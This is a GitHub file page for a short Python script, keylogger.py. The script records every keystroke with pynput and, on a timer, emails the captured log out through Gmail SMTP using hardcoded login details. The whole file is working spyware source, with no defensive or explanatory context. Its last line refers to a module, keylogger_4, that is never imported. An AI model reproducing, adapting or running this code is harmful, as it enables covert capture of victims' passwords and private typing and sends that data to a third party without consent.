-
Notifications
You must be signed in to change notification settings - Fork 1
/
keylogger.py
52 lines (41 loc) · 1.22 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python
import pynput.keyboard
import threading
import smtplib
log = ""
class Keylogger:
def __init__(self,time_interval,email,password):
self.log = "Keylogger started"
self.interval = time_interval
self.email = email
self.password = password
def append_to_log(self,string):
self.log = self.log + string
def process_key_press(self,key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
def report(self):
print (self.log)
self.send_mail(self.email,self.password,"\n\n"+self.log)
self.log = ""
timer = threading.Timer(self.interval,self.report)
timer.start()
def send_mail(self,email,password,message):
server = smtplib.SMTP("smtp.gmail.com",587)
server.starttls()
server.login(email,password)
server.sendmail(email,email,message)
server.quit()
def start(self):
keyboard_listener=pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
my_keylogger = keylogger_4.Keylogger(120,"mail@gmail.com","password")
my_keylogger.start()